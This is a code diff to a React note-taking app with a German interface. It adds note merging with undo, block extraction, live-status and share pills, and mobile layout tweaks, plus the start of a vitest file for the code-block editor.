@@ -1040,7 +1393,7 @@ export const OutlinerBlock: React.FC<OutlinerBlockProps> = ({
|
||||
|
||||
{/* Floating Slash Commands Menu */}
|
||||
{slashSearch !== null && canEdit && (
|
||||
<div className="absolute left-0 top-8 z-40 w-56 panel-surface shadow-panel border border-border rounded-card p-1">
|
||||
<div className="absolute left-0 top-8 z-40 w-72 max-w-[calc(100vw-2rem)] panel-surface shadow-panel border border-border rounded-card p-1">
|
||||
<div className="px-2 py-1 text-[10px] font-bold uppercase tracking-wider text-faint border-b border-border mb-1">
|
||||
Befehl auswählen
|
||||
</div>
|
||||
@@ -1048,6 +1401,9 @@ export const OutlinerBlock: React.FC<OutlinerBlockProps> = ({
|
||||
{filteredSlashCommands.map((cmd, i) => (
|
||||
<button
|
||||
key={cmd.type}
|
||||
ref={(el) => {
|
||||
slashItemRefs.current[i] = el;
|
||||
}}
|
||||
type="button"
|
||||
onMouseDown={(e) => {
|
||||
e.preventDefault();
|
||||
@@ -1059,11 +1415,11 @@ export const OutlinerBlock: React.FC<OutlinerBlockProps> = ({
|
||||
: 'text-main hover:bg-panel-elevated'
|
||||
}`}
|
||||
>
|
||||
<div className="flex items-center gap-1.5">
|
||||
<div className="flex items-center gap-1.5 shrink-0">
|
||||
{cmd.icon}
|
||||
<span className="font-semibold">{cmd.label}</span>
|
||||
<span className="font-semibold whitespace-nowrap">{cmd.label}</span>
|
||||
</div>
|
||||
<span className="text-[10px] opacity-75">{cmd.desc}</span>
|
||||
<span className="ml-3 min-w-0 truncate text-right text-[10px] opacity-75">{cmd.desc}</span>
|
||||
</button>
|
||||
))}
|
||||
{filteredSlashCommands.length === 0 && (
|
||||
@@ -1076,11 +1432,24 @@ export const OutlinerBlock: React.FC<OutlinerBlockProps> = ({
|
||||
)}
|
||||
</div>
|
||||
|
||||
{/* Branch into its own note (desktop; phones use /extract) */}
|
||||
{canEdit && onExtractBlock && localContent.trim() !== '' && !mediaPicker && (
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => onExtractBlock(block.id)}
|
||||
className="hidden sm:block opacity-0 group-hover:opacity-100 focus:opacity-100 p-0.5 text-faint hover:text-accent rounded-btn transition-opacity shrink-0"
|
||||
title="In eigene Notiz umwandeln (mit allen Unterpunkten)"
|
||||
>
|
||||
<FileOutput className="w-3.5 h-3.5" />
|
||||
</button>
|
||||
)}
|
||||
|
||||
{/* Zoom / Focus button on hover */}
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => onZoomBlock?.(block.id)}
|
||||
className="opacity-0 group-hover:opacity-100 focus:opacity-100 p-0.5 text-faint hover:text-accent rounded-btn transition-opacity shrink-0"
|
||||
// Phones zoom by tapping the bullet; the button would only take width from the text there
|
||||
className="hidden sm:block opacity-0 group-hover:opacity-100 focus:opacity-100 p-0.5 text-faint hover:text-accent rounded-btn transition-opacity shrink-0"
|
||||
title="In diesen Ast hineinzoomen (Fokus-Modus)"
|
||||
>
|
||||
<Maximize2 className="w-3.5 h-3.5" />
|
||||
@@ -1097,7 +1466,7 @@ export const OutlinerBlock: React.FC<OutlinerBlockProps> = ({
|
||||
</span>
|
||||
)}
|
||||
|
||||
{/* Delete button on hover (Trash2 icon) */}
|
||||
{/* Delete button on hover (Trash2 icon); on phones only in the row being edited */}
|
||||
{canEdit && (
|
||||
<button
|
||||
type="button"
|
||||
@@ -1110,7 +1479,11 @@ export const OutlinerBlock: React.FC<OutlinerBlockProps> = ({
|
||||
onDeleteBlockRef.current(block.id, false);
|
||||
}
|
||||
}}
|
||||
className="opacity-0 group-hover:opacity-100 focus:opacity-100 p-0.5 text-faint hover:text-status-err rounded-btn transition-opacity shrink-0 cursor-pointer"
|
||||
className={
|
||||
activeFocus
|
||||
? 'opacity-0 group-hover:opacity-100 focus:opacity-100 p-0.5 text-faint hover:text-status-err rounded-btn transition-opacity shrink-0 cursor-pointer'
|
||||
: 'hidden sm:block opacity-0 group-hover:opacity-100 focus:opacity-100 p-0.5 text-faint hover:text-status-err rounded-btn transition-opacity shrink-0 cursor-pointer'
|
||||
}
|
||||
title="Block löschen"
|
||||
>
|
||||
<Trash2 className="w-3.5 h-3.5" />
|
||||
|
||||
@@ -13,6 +13,7 @@ export interface OutlinerTreeProps {
|
||||
canEdit: boolean;
|
||||
levelOffset?: number;
|
||||
onZoomBlock?: (blockId: string) => void;
|
||||
onExtractBlock?: (blockId: string) => void;
|
||||
onUpdateBlock: (updated: DocumentBlock, immediate?: boolean) => void;
|
||||
onUpdateBlocks?: (updated: DocumentBlock[]) => void;
|
||||
onCreateBlock: (newBlock: DocumentBlock, afterBlockId?: string) => void;
|
||||
@@ -37,6 +38,7 @@ export const OutlinerTree = forwardRef<OutlinerTreeHandle, OutlinerTreeProps>(({
|
||||
canEdit,
|
||||
levelOffset = 0,
|
||||
onZoomBlock,
|
||||
onExtractBlock,
|
||||
onUpdateBlock,
|
||||
onUpdateBlocks,
|
||||
onCreateBlock,
|
||||
@@ -783,6 +785,7 @@ export const OutlinerTree = forwardRef<OutlinerTreeHandle, OutlinerTreeProps>(({
|
||||
onRedo={onRedo}
|
||||
levelOffset={levelOffset}
|
||||
onZoomBlock={onZoomBlock}
|
||||
onExtractBlock={onExtractBlock}
|
||||
onUpdateBlock={onUpdateBlock}
|
||||
onCreateBlockBelow={handleCreateBlockBelow}
|
||||
onPasteMultiLines={handlePasteMultiLines}
|
||||
|
||||
@@ -27,6 +27,7 @@ import {
|
||||
import {
|
||||
Document,
|
||||
DocumentBlock,
|
||||
MergeResult,
|
||||
DocShare,
|
||||
SharedFolder,
|
||||
TagDetails,
|
||||
@@ -45,8 +46,10 @@ import { UnifiedShareModal } from '../../components/UnifiedShareModal';
|
||||
import { FormSheet } from '../../components/FormSheet';
|
||||
import { sendDocOps } from '../../lib/docSync/oneoff';
|
||||
import { useMobileActions } from '../../context/MobileActionContext';
|
||||
import { DocumentEditor, DocSaveStatus } from './DocumentEditor';
|
||||
import { DocumentEditor, DocSaveStatus, DocHeaderStatus } from './DocumentEditor';
|
||||
import { PresenceAvatars } from './PresenceAvatars';
|
||||
import { TrashView } from './TrashView';
|
||||
import { MergeDialog } from './MergeDialog';
|
||||
import { CountBadge } from '../../components/CountBadge';
|
||||
import { extractHashtags } from '../../lib/hashtags';
|
||||
|
||||
@@ -87,6 +90,9 @@ interface FolderTreeItemProps {
|
||||
handleShareFolderClick: (folderPath: string, existingSf?: SharedFolder) => void;
|
||||
handleDeleteFolder: (folderPath: string) => void;
|
||||
onSelectDoc: (id: string) => void;
|
||||
// Dropping a note onto another one offers to merge them
|
||||
docDropProps: (targetId: string) => React.HTMLAttributes<HTMLDivElement>;
|
||||
mergeHoverId: string | null;
|
||||
}
|
||||
|
||||
const FolderTreeItem: React.FC<FolderTreeItemProps> = ({
|
||||
@@ -106,6 +112,8 @@ const FolderTreeItem: React.FC<FolderTreeItemProps> = ({
|
||||
handleShareFolderClick,
|
||||
handleDeleteFolder,
|
||||
onSelectDoc,
|
||||
docDropProps,
|
||||
mergeHoverId,
|
||||
}) => {
|
||||
const hasContent = node.subfolders.length > 0 || node.docs.length > 0;
|
||||
const isExpanded = Boolean(hasContent && expandedFolders[node.fullPath]);
|
||||
@@ -234,6 +242,8 @@ const FolderTreeItem: React.FC<FolderTreeItemProps> = ({
|
||||
handleShareFolderClick={handleShareFolderClick}
|
||||
handleDeleteFolder={handleDeleteFolder}
|
||||
onSelectDoc={onSelectDoc}
|
||||
docDropProps={docDropProps}
|
||||
mergeHoverId={mergeHoverId}
|
||||
/>
|
||||
))}
|
||||
|
||||
@@ -243,10 +253,13 @@ const FolderTreeItem: React.FC<FolderTreeItemProps> = ({
|
||||
key={d.id}
|
||||
draggable
|
||||
onDragStart={(e) => handleDocDragStart(e, d.id)}
|
||||
{...docDropProps(d.id)}
|
||||
onClick={() => onSelectDoc(d.id)}
|
||||
style={{ paddingLeft: `${(depth + 1) * 12 + 16}px` }}
|
||||
className={`w-full flex items-center gap-2 pr-2 py-1.5 rounded-btn text-left text-xs cursor-pointer border transition-colors ${
|
||||
selectedDocId === d.id && subView === 'editor'
|
||||
mergeHoverId === d.id
|
||||
? 'border-accent bg-accent/15 ring-2 ring-accent/30 text-main'
|
||||
: selectedDocId === d.id && subView === 'editor'
|
||||
? 'bg-panel-elevated text-main font-semibold border-border/80'
|
||||
: 'border-transparent text-main hover:bg-panel-elevated'
|
||||
}`}
|
||||
@@ -374,10 +387,25 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
|
||||
|
||||
const [docSaveStatus, setDocSaveStatus] = useState<DocSaveStatus>('saved');
|
||||
const [docSaveError, setDocSaveError] = useState<string | null>(null);
|
||||
const [docHeaderStatus, setDocHeaderStatus] = useState<DocHeaderStatus | null>(null);
|
||||
|
||||
|
||||
// Drag and Drop state
|
||||
const [draggingDocId, setDraggingDocId] = useState<string | null>(null);
|
||||
|
||||
// Merging notes: dialog (picker/confirmation) and a toast with undo afterwards
|
||||
const [mergeDialog, setMergeDialog] = useState<{ sourceId: string; targetId?: string } | null>(null);
|
||||
const [mergeHoverId, setMergeHoverId] = useState<string | null>(null);
|
||||
const [toast, setToast] = useState<{ text: string; actions: { label: string; run: () => void }[] } | null>(null);
|
||||
const toastTimerRef = useRef<number | null>(null);
|
||||
const showToast = useCallback((text: string, actions: { label: string; run: () => void }[] = []) => {
|
||||
setToast({ text, actions });
|
||||
if (toastTimerRef.current !== null) window.clearTimeout(toastTimerRef.current);
|
||||
toastTimerRef.current = window.setTimeout(() => setToast(null), actions.length ? 10000 : 4000);
|
||||
}, []);
|
||||
useEffect(() => () => {
|
||||
if (toastTimerRef.current !== null) window.clearTimeout(toastTimerRef.current);
|
||||
}, []);
|
||||
const [draggingFolderPath, setDraggingFolderPath] = useState<string | null>(null);
|
||||
const [dragOverFolder, setDragOverFolder] = useState<string | null>(null);
|
||||
|
||||
@@ -674,6 +702,66 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
|
||||
setDraggingDocId(docId);
|
||||
};
|
||||
|
||||
const requestMerge = (sourceId: string, targetId?: string) => {
|
||||
const source = docs.find((d) => d.id === sourceId);
|
||||
if (!source?.isOwner) {
|
||||
showToast('Nur eigene Notizen lassen sich in eine andere einfügen');
|
||||
return;
|
||||
}
|
||||
setMergeDialog({ sourceId, targetId });
|
||||
};
|
||||
|
||||
// Dropping a dragged note onto another note (instead of a folder) offers to merge them
|
||||
const docDropProps = (targetId: string): React.HTMLAttributes<HTMLDivElement> => ({
|
||||
onDragOver: (e) => {
|
||||
if (!draggingDocId || draggingDocId === targetId) return;
|
||||
e.preventDefault();
|
||||
e.stopPropagation();
|
||||
e.dataTransfer.dropEffect = 'move';
|
||||
if (mergeHoverId !== targetId) setMergeHoverId(targetId);
|
||||
},
|
||||
onDragLeave: () => setMergeHoverId((cur) => (cur === targetId ? null : cur)),
|
||||
onDrop: (e) => {
|
||||
const sourceId = e.dataTransfer.getData('application/mindsift-doc-id') || draggingDocId;
|
||||
if (!sourceId || sourceId === targetId) return;
|
||||
e.preventDefault();
|
||||
e.stopPropagation();
|
||||
setDraggingDocId(null);
|
||||
setMergeHoverId(null);
|
||||
setDragOverFolder(null);
|
||||
requestMerge(sourceId, targetId);
|
||||
},
|
||||
});
|
||||
|
||||
const handleMerged = async (result: MergeResult) => {
|
||||
setMergeDialog(null);
|
||||
triggerHaptic(20);
|
||||
setDocs((prev) => prev.filter((d) => d.id !== result.sourceId));
|
||||
setSelectedDocId(result.targetId);
|
||||
setTargetBlockId(null);
|
||||
setSubView('editor');
|
||||
setMobileShowDetail(true);
|
||||
setEditorNonce((n) => n + 1);
|
||||
reloadTrash();
|
||||
showToast(`„${result.sourceTitle || 'Notiz'}“ wurde angehängt`, [
|
||||
{
|
||||
label: 'Rückgängig',
|
||||
run: async () => {
|
||||
try {
|
||||
await api.undoMerge(result);
|
||||
await loadWorkspaceData();
|
||||
setSelectedDocId(result.sourceId);
|
||||
setEditorNonce((n) => n + 1);
|
||||
reloadTrash();
|
||||
showToast('Zusammenführen rückgängig gemacht');
|
||||
} catch (err: any) {
|
||||
showToast(err?.message || 'Rückgängig fehlgeschlagen');
|
||||
}
|
||||
},
|
||||
},
|
||||
]);
|
||||
};
|
||||
|
||||
const handleFolderDragStart = (e: React.DragEvent, path: string) => {
|
||||
e.stopPropagation();
|
||||
e.dataTransfer.setData('application/mindsift-folder-path', path);
|
||||
@@ -911,7 +999,7 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
|
||||
);
|
||||
|
||||
const rootDocs = useMemo(
|
||||
() => docs.filter((d) => !d.folderPath),
|
||||
() => docs.filter((d) => !d.folderPath && !d.isPinned),
|
||||
[docs]
|
||||
);
|
||||
|
||||
@@ -1220,10 +1308,83 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
|
||||
</button>
|
||||
</div>
|
||||
|
||||
{/* Right Header Section: Save Status (on phones it sits compactly in the note's own header) */}
|
||||
{/* Right Header Section: Live/Share Status, Avatars & Save Status (on phones it sits compactly in the note's own header) */}
|
||||
<div className="hidden sm:flex items-center gap-2">
|
||||
{subView === 'editor' && selectedDocId ? (
|
||||
/* Save Status Pill */
|
||||
<>
|
||||
{/* Live connection pill */}
|
||||
{docHeaderStatus?.showLive && (
|
||||
<span
|
||||
className="inline-flex items-center gap-1 px-2 py-0.5 rounded-btn text-[11px] text-muted bg-panel border border-border"
|
||||
title={
|
||||
docHeaderStatus.channel === 'ws'
|
||||
? 'Live-Verbindung über WebSocket'
|
||||
: docHeaderStatus.channel === 'sse'
|
||||
? 'Live-Verbindung über Server-Sent Events (WebSocket wird blockiert)'
|
||||
: docHeaderStatus.channel === 'longpoll'
|
||||
? 'Live über Long-Polling (WebSocket und SSE werden blockiert)'
|
||||
: 'Keine Live-Verbindung möglich – Änderungen werden alle 3 Sekunden abgefragt'
|
||||
}
|
||||
>
|
||||
<span
|
||||
className={`w-1.5 h-1.5 rounded-full ${
|
||||
docHeaderStatus.channel === 'interval' ? 'bg-status-warn' : 'bg-status-ok'
|
||||
}`}
|
||||
/>
|
||||
{docHeaderStatus.channel === 'longpoll'
|
||||
? 'Live (Long-Polling)'
|
||||
: docHeaderStatus.channel === 'interval'
|
||||
? 'Abgleich alle 3 s'
|
||||
: 'Live'}
|
||||
</span>
|
||||
)}
|
||||
|
||||
{/* Who else has this note open */}
|
||||
{docHeaderStatus && (
|
||||
<PresenceAvatars
|
||||
people={docHeaderStatus.otherPeople}
|
||||
avatars={docHeaderStatus.avatarsById}
|
||||
/>
|
||||
)}
|
||||
|
||||
{/* Share pill */}
|
||||
{selectedDocObj &&
|
||||
!selectedDocObj.isArchived &&
|
||||
(() => {
|
||||
const isOwner =
|
||||
selectedDocObj.isOwner !== false &&
|
||||
(selectedDocObj.userId === currentUser?.id ||
|
||||
!selectedDocObj.userId ||
|
||||
currentUser?.role === 'admin');
|
||||
const sharesCount = selectedDocObj.sharedWith?.length || 0;
|
||||
const isShared =
|
||||
sharesCount > 0 || !isOwner || Boolean(selectedDocObj.sharedFolderId);
|
||||
const ownerDisplayName = selectedDocObj.ownerName || 'Eigentümer';
|
||||
if (!isShared) return null;
|
||||
return isOwner ? (
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => openDocShareModal(selectedDocObj)}
|
||||
className="px-2 py-0.5 rounded text-[10px] font-semibold bg-accent/15 text-accent border border-accent/30 flex items-center gap-1 hover:bg-accent/25 hover:border-accent/50 transition-colors cursor-pointer"
|
||||
title="Teilen-Menü öffnen: Geteilt mit Nutzern/Gruppen anzeigen & verwalten"
|
||||
>
|
||||
<Users className="w-2.5 h-2.5" />
|
||||
<span>Geteilt{sharesCount > 0 ? ` (${sharesCount})` : ''}</span>
|
||||
</button>
|
||||
) : (
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => openDocShareModal(selectedDocObj)}
|
||||
className="px-2 py-0.5 rounded text-[10px] font-medium border border-border text-muted flex items-center gap-1 bg-surface-subtle hover:bg-panel-elevated hover:text-main transition-colors cursor-pointer"
|
||||
title="Teilen & Berechtigungen öffnen"
|
||||
>
|
||||
<Users className="w-2.5 h-2.5" />
|
||||
<span>Geteilt von {ownerDisplayName}</span>
|
||||
</button>
|
||||
);
|
||||
})()}
|
||||
|
||||
{/* Save Status Pill */}
|
||||
<div
|
||||
className={`inline-flex items-center gap-1.5 px-2.5 py-1 rounded-btn text-xs font-medium border transition-colors ${
|
||||
docSaveStatus === 'saved'
|
||||
@@ -1269,6 +1430,7 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
|
||||
</>
|
||||
)}
|
||||
</div>
|
||||
</>
|
||||
) : null}
|
||||
</div>
|
||||
</div>
|
||||
@@ -1330,44 +1492,51 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
|
||||
|
||||
{/* Scrollable Navigation Tree */}
|
||||
<div className="flex-1 overflow-y-auto p-2 space-y-3">
|
||||
{pinnedDocs.length === 0 && folderTree.length === 0 && rootDocs.length === 0 ? (
|
||||
<div className="px-2 py-2 text-xs text-muted">Noch keine Notizen</div>
|
||||
) : (
|
||||
<div>
|
||||
{/* Pinned Notes */}
|
||||
{pinnedDocs.length > 0 && (
|
||||
<div>
|
||||
<div className="px-2 mb-1 flex items-center gap-1 text-[10px] font-bold uppercase tracking-wider text-faint">
|
||||
<Pin className="w-3 h-3 text-status-warn" />
|
||||
<span>Angeheftet</span>
|
||||
</div>
|
||||
<div className="space-y-0.5">
|
||||
<div
|
||||
className={`space-y-0.5 ${
|
||||
folderTree.length > 0 || rootDocs.length > 0
|
||||
? 'border-b border-border pb-1.5 mb-1.5'
|
||||
: ''
|
||||
}`}
|
||||
>
|
||||
{pinnedDocs.map((d) => (
|
||||
<div
|
||||
key={`pin-${d.id}`}
|
||||
draggable
|
||||
onDragStart={(e) => handleDocDragStart(e, d.id)}
|
||||
{...docDropProps(d.id)}
|
||||
onClick={() => {
|
||||
setSelectedDocId(d.id);
|
||||
setSubView('editor');
|
||||
setMobileShowDetail(true);
|
||||
}}
|
||||
className={`w-full flex items-center gap-2 px-2 py-1.5 rounded-btn text-left text-xs cursor-pointer border transition-colors ${
|
||||
selectedDocId === d.id && subView === 'editor'
|
||||
mergeHoverId === d.id
|
||||
? 'border-accent bg-accent/15 ring-2 ring-accent/30 text-main'
|
||||
: selectedDocId === d.id && subView === 'editor'
|
||||
? 'bg-panel-elevated text-main font-semibold border-border/80'
|
||||
: 'border-transparent text-main hover:bg-panel-elevated'
|
||||
}`}
|
||||
>
|
||||
<span>{d.icon || '📝'}</span>
|
||||
<span className="shrink-0">{d.icon || '📝'}</span>
|
||||
<span className="truncate flex-1">{d.title || 'Unbenannte Notiz'}</span>
|
||||
{d.sharedWith && d.sharedWith.length > 0 && (
|
||||
<Users className="w-3 h-3 text-status-ok shrink-0" />
|
||||
)}
|
||||
<Pin className="w-3 h-3 text-muted shrink-0" />
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* Folders Tree with Recursive Hierarchical Nesting */}
|
||||
{folderTree.length > 0 && (
|
||||
<div>
|
||||
<div className="px-2 mb-1 text-[10px] font-bold uppercase tracking-wider text-faint">
|
||||
Ordner
|
||||
</div>
|
||||
{/* Folders and Root Documents */}
|
||||
{(folderTree.length > 0 || rootDocs.length > 0) && (
|
||||
<div className="space-y-0.5">
|
||||
{folderTree.map((node) => (
|
||||
<FolderTreeItem
|
||||
@@ -1394,40 +1563,31 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
|
||||
setSubView('editor');
|
||||
setMobileShowDetail(true);
|
||||
}}
|
||||
docDropProps={docDropProps}
|
||||
mergeHoverId={mergeHoverId}
|
||||
/>
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* Root Documents */}
|
||||
<div>
|
||||
<div className="px-2 mb-1 text-[10px] font-bold uppercase tracking-wider text-faint">
|
||||
Notizen (Hauptebene)
|
||||
</div>
|
||||
{rootDocs.length === 0 ? (
|
||||
<div className="px-2 py-2 text-xs text-faint italic">
|
||||
Keine Notizen auf der Hauptebene.
|
||||
</div>
|
||||
) : (
|
||||
<div className="space-y-0.5">
|
||||
{rootDocs.map((d) => (
|
||||
<div
|
||||
key={d.id}
|
||||
draggable
|
||||
onDragStart={(e) => handleDocDragStart(e, d.id)}
|
||||
{...docDropProps(d.id)}
|
||||
onClick={() => {
|
||||
setSelectedDocId(d.id);
|
||||
setSubView('editor');
|
||||
setMobileShowDetail(true);
|
||||
}}
|
||||
className={`w-full flex items-center gap-2 px-2 py-1.5 rounded-btn text-left text-xs cursor-pointer border transition-colors ${
|
||||
selectedDocId === d.id && subView === 'editor'
|
||||
mergeHoverId === d.id
|
||||
? 'border-accent bg-accent/15 ring-2 ring-accent/30 text-main'
|
||||
: selectedDocId === d.id && subView === 'editor'
|
||||
? 'bg-panel-elevated text-main font-semibold border-border/80'
|
||||
: 'border-transparent text-main hover:bg-panel-elevated'
|
||||
}`}
|
||||
>
|
||||
<span>{d.icon || '📝'}</span>
|
||||
<span className="shrink-0">{d.icon || '📝'}</span>
|
||||
<span className="truncate flex-1">{d.title || 'Unbenannte Notiz'}</span>
|
||||
{d.sharedWith && d.sharedWith.length > 0 && (
|
||||
<Users className="w-3 h-3 text-status-ok shrink-0" />
|
||||
@@ -1437,6 +1597,7 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* Bottom drop target for moving to root */}
|
||||
{(draggingDocId || draggingFolderPath) && (
|
||||
@@ -1536,12 +1697,31 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
|
||||
onSelectTag={handleSelectTag}
|
||||
onWikiLinkClick={handleWikiLinkClick}
|
||||
onOpenDocBlock={handleJumpToDocBlock}
|
||||
onRequestMerge={(d) => setMergeDialog({ sourceId: d.id })}
|
||||
onDocCreated={(created) => {
|
||||
setDocs((prev) => (prev.some((d) => d.id === created.id) ? prev : [created, ...prev]));
|
||||
if (created.folderPath) {
|
||||
const parts = created.folderPath.split('/');
|
||||
const open: Record<string, boolean> = {};
|
||||
parts.forEach((_, i) => {
|
||||
open[parts.slice(0, i + 1).join('/')] = true;
|
||||
});
|
||||
setExpandedFolders((prev) => ({ ...prev, ...open }));
|
||||
}
|
||||
onStatsChange();
|
||||
}}
|
||||
onDocRemoved={(id) => {
|
||||
setDocs((prev) => prev.filter((d) => d.id !== id));
|
||||
reloadTrash();
|
||||
onStatsChange();
|
||||
}}
|
||||
onBackMobile={() => setMobileShowDetail(false)}
|
||||
onOpenTask={onOpenTask}
|
||||
onSaveStatusChange={(status, err) => {
|
||||
setDocSaveStatus(status);
|
||||
setDocSaveError(err || null);
|
||||
}}
|
||||
onHeaderStatusChange={setDocHeaderStatus}
|
||||
/>
|
||||
) : subView === 'tags' ? (
|
||||
/* =========================================================================
|
||||
@@ -2260,6 +2440,38 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
|
||||
</FormSheet>
|
||||
)}
|
||||
|
||||
{mergeDialog && (
|
||||
<MergeDialog
|
||||
docs={docs}
|
||||
sourceId={mergeDialog.sourceId}
|
||||
targetId={mergeDialog.targetId}
|
||||
onClose={() => setMergeDialog(null)}
|
||||
onMerged={(r) => void handleMerged(r)}
|
||||
/>
|
||||
)}
|
||||
|
||||
{toast && (
|
||||
<div
|
||||
role="status"
|
||||
className="fixed left-1/2 -translate-x-1/2 bottom-[calc(5.5rem+env(safe-area-inset-bottom))] sm:bottom-6 z-50 max-w-[calc(100vw-1.5rem)] px-3 py-2 rounded-card text-xs text-main bg-panel-elevated border border-border shadow-panel flex items-center gap-3"
|
||||
>
|
||||
<span>{toast.text}</span>
|
||||
{toast.actions.map((a) => (
|
||||
<button
|
||||
key={a.label}
|
||||
type="button"
|
||||
onClick={() => {
|
||||
setToast(null);
|
||||
a.run();
|
||||
}}
|
||||
className="font-semibold text-accent hover:underline min-h-[44px] sm:min-h-0 shrink-0"
|
||||
>
|
||||
{a.label}
|
||||
</button>
|
||||
))}
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* Unified Sharing Modal (Strictly Read-Only for Docs and Folders) */}
|
||||
{(shareModalDoc || shareModalFolder) && (
|
||||
<UnifiedShareModal
|
||||
|
||||
@@ -0,0 +1,263 @@
|
||||
import React, { useState } from 'react';
|
||||
import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest';
|
||||
import { render, fireEvent, screen, waitFor, act } from '@testing-library/react';
|
||||
import { CodeBlockEditor, loadPrismLanguage } from '../CodeBlockEditor';
|
||||
import { OutlinerBlock } from '../OutlinerBlock';
|
||||
import { DocumentBlock } from '../../../lib/types';
|
||||
|
||||
function makeCodeBlock(overrides: Partial<DocumentBlock> = {}): DocumentBlock {
|
||||
return {
|
||||
id: 'code-1',
|
||||
type: 'code',
|
||||
content: 'name: mindsift\nport: 8080',
|
||||
level: 0,
|
||||
position: 1000,
|
||||
...overrides,
|
||||
};
|
||||
}
|
||||
|
||||
function renderOutlinerCodeBlock(
|
||||
initialBlock: DocumentBlock,
|
||||
props: Partial<React.ComponentProps<typeof OutlinerBlock>> = {}
|
||||
) {
|
||||
const updates: DocumentBlock[] = [];
|
||||
const indentCalls: Array<[string, 1 | -1]> = [];
|
||||
|
||||
const Wrapper: React.FC = () => {
|
||||
const [blk, setBlk] = useState<DocumentBlock>(initialBlock);
|
||||
return (
|
||||
<OutlinerBlock
|
||||
docId="doc-1"
|
||||
block={blk}
|
||||
index={0}
|
||||
isLast
|
||||
maxAllowedLevel={1}
|
||||
hasChildren={false}
|
||||
isFocused={false}
|
||||
canEdit={props.canEdit ?? true}
|
||||
onUpdateBlock={(updated, immediate) => {
|
||||
updates.push(updated);
|
||||
setBlk(updated);
|
||||
props.onUpdateBlock?.(updated, immediate);
|
||||
}}
|
||||
onCreateBlockBelow={props.onCreateBlockBelow || (() => {})}
|
||||
onDeleteBlock={props.onDeleteBlock || (() => {})}
|
||||
onIndentBlock={(id, delta) => {
|
||||
indentCalls.push([id, delta]);
|
||||
props.onIndentBlock?.(id, delta);
|
||||
}}
|
||||
onNavigateFocus={props.onNavigateFocus || (() => {})}
|
||||
registerTextareaRef={props.registerTextareaRef || (() => {})}
|
||||
/>
|
||||
);
|
||||
};
|
||||
|
||||
const utils = render(<Wrapper />);
|
||||
return { ...utils, updates, indentCalls };
|
||||
}
|
||||
|
||||
describe('CodeBlockEditor', () => {
|
||||
beforeEach(() => {
|
||||
vi.useRealTimers();
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
vi.restoreAllMocks();
|
||||
});
|
||||
|
||||
it('calls update with lang when selecting a language and hides the picker for readers', () => {
|
||||
const { container, updates, unmount } = renderOutlinerCodeBlock(makeCodeBlock({ lang: undefined }));
|
||||
|
||||
const select = container.querySelector('select') as HTMLSelectElement;
|
||||
expect(select).toBeTruthy();
|
||||
expect(select.value).toBe('');
|
||||
|
||||
fireEvent.change(select, { target: { value: 'yaml' } });
|
||||
expect(updates).toHaveLength(1);
|
||||
expect(updates[0].lang).toBe('yaml');
|
||||
expect(select.value).toBe('yaml');
|
||||
|
||||
// "Als Text" converts the code block back to a bullet
|
||||
fireEvent.click(screen.getByRole('button', { name: 'Als Text' }));
|
||||
expect(updates[updates.length - 1]?.type).toBe('bullet');
|
||||
|
||||
unmount();
|
||||
|
||||
// Reader view (!canEdit): shows plain text instead of <select> and hides "Als Text"
|
||||
const readerView = render(
|
||||
<CodeBlockEditor block={makeCodeBlock({ lang: 'yaml' })} canEdit={false} />
|
||||
);
|
||||
expect(readerView.container.querySelector('select')).toBeNull();
|
||||
expect(readerView.getByText('yaml')).toBeTruthy();
|
||||
expect(readerView.queryByText('Als Text')).toBeNull();
|
||||
});
|
||||
|
||||
it('copies the code content to the clipboard and shows "Kopiert!" for 1.5s', () => {
|
||||
vi.useFakeTimers();
|
||||
const writeTextMock = vi.fn().mockResolvedValue(undefined);
|
||||
Object.defineProperty(navigator, 'clipboard', {
|
||||
value: { writeText: writeTextMock },
|
||||
configurable: true,
|
||||
writable: true,
|
||||
});
|
||||
|
||||
const block = makeCodeBlock({ content: 'echo "hello world"' });
|
||||
render(<CodeBlockEditor block={block} content={block.content} canEdit />);
|
||||
|
||||
const copyBtn = screen.getByRole('button', { name: /Kopieren/i });
|
||||
fireEvent.click(copyBtn);
|
||||
|
||||
expect(writeTextMock).toHaveBeenCalledWith('echo "hello world"');
|
||||
expect(screen.getByText('Kopiert!')).toBeTruthy();
|
||||
|
||||
act(() => {
|
||||
vi.advanceTimersByTime(1500);
|
||||
});
|
||||
|
||||
expect(screen.queryByText('Kopiert!')).toBeNull();
|
||||
expect(screen.getByText('Kopieren')).toBeTruthy();
|
||||
});
|
||||
|
||||
it('indents by 2 spaces on Tab and outdents on Shift+Tab without indenting the bullet', () => {
|
||||
const { container, updates, indentCalls } = renderOutlinerCodeBlock(
|
||||
makeCodeBlock({ content: 'key: value', lang: 'yaml' })
|
||||
);
|
||||
const textarea = container.querySelector('textarea') as HTMLTextAreaElement;
|
||||
textarea.focus();
|
||||
textarea.setSelectionRange(0, 0);
|
||||
|
||||
fireEvent.keyDown(textarea, { key: 'Tab' });
|
||||
expect(textarea.value).toBe(' key: value');
|
||||
expect(updates[updates.length - 1]?.content).toBe(' key: value');
|
||||
expect(indentCalls).toHaveLength(0);
|
||||
|
||||
fireEvent.keyDown(textarea, { key: 'Tab', shiftKey: true });
|
||||
expect(textarea.value).toBe('key: value');
|
||||
expect(updates[updates.length - 1]?.content).toBe('key: value');
|
||||
expect(indentCalls).toHaveLength(0);
|
||||
});
|
||||
|
||||
